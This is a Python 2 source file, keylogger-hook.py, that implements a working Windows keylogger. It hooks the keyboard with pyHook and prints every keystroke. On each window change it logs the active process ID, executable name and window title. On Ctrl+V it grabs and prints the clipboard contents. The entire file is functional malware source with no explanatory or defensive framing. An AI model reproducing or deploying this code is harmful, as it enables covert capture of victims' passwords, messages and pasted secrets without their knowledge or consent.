keylogger-hook.py

from ctypes import *
import pythoncom
import pyHook
import win32clipboard


user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None

def get_current_process():
    
    #get a handle to the fg process
    hwnd = user32.GetForegroundWindow()
    
    #find the process id
    pid = c_ulong(0)
    user32.GetWindowThreadProcessId(hwnd, byref(pid))
    
    #store the current process id
    process_id = "%d"%pid.value
    
    #grab the executable
    executable = create_string_buffer("\x00" * 512)
    h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
    
    psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512)
    
    #now read its title
    window_title = create_string_buffer("\x00" * 512)
    length = user32.GetWindowTextA(hwnd, byref(window_title), 512)
    
    #print header if we are in the right process
    print
    print "[ PID: %s - %s - %s]"%(process_id, executable.value, window_title.value)
    print
    
    #close handles
    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)
    
    
def KeyStroke(event):
    global current_window
    
    #check to see if target changed windows
    if event.WindowName != current_window:
        current_window = event.WindowName
        get_current_process()
    
    #if they pressed a standard key
    if event.Ascii > 32 and event.Ascii < 127:
        print chr(event.Ascii)
    else:
        #if CTRL + V 
        if event.Key == "V":
            win32clipboard.OpenClipboard()
            pasted_value = win32clipboard.GetClipboardData()
            win32clipboard.CloseClipboard()
            
            print "[PASTE] - %s"%(pasted_value)
        else:
            print "[%s]"%event.Key,
            
    # pass execution to next hook registered
    return True



#create and register a hook manager
k1 = pyHook.HookManager()
k1.KeyDown = KeyStroke

#register the hook and execute forever
k1.HookKeyboard()
pythoncom.PumpMessages()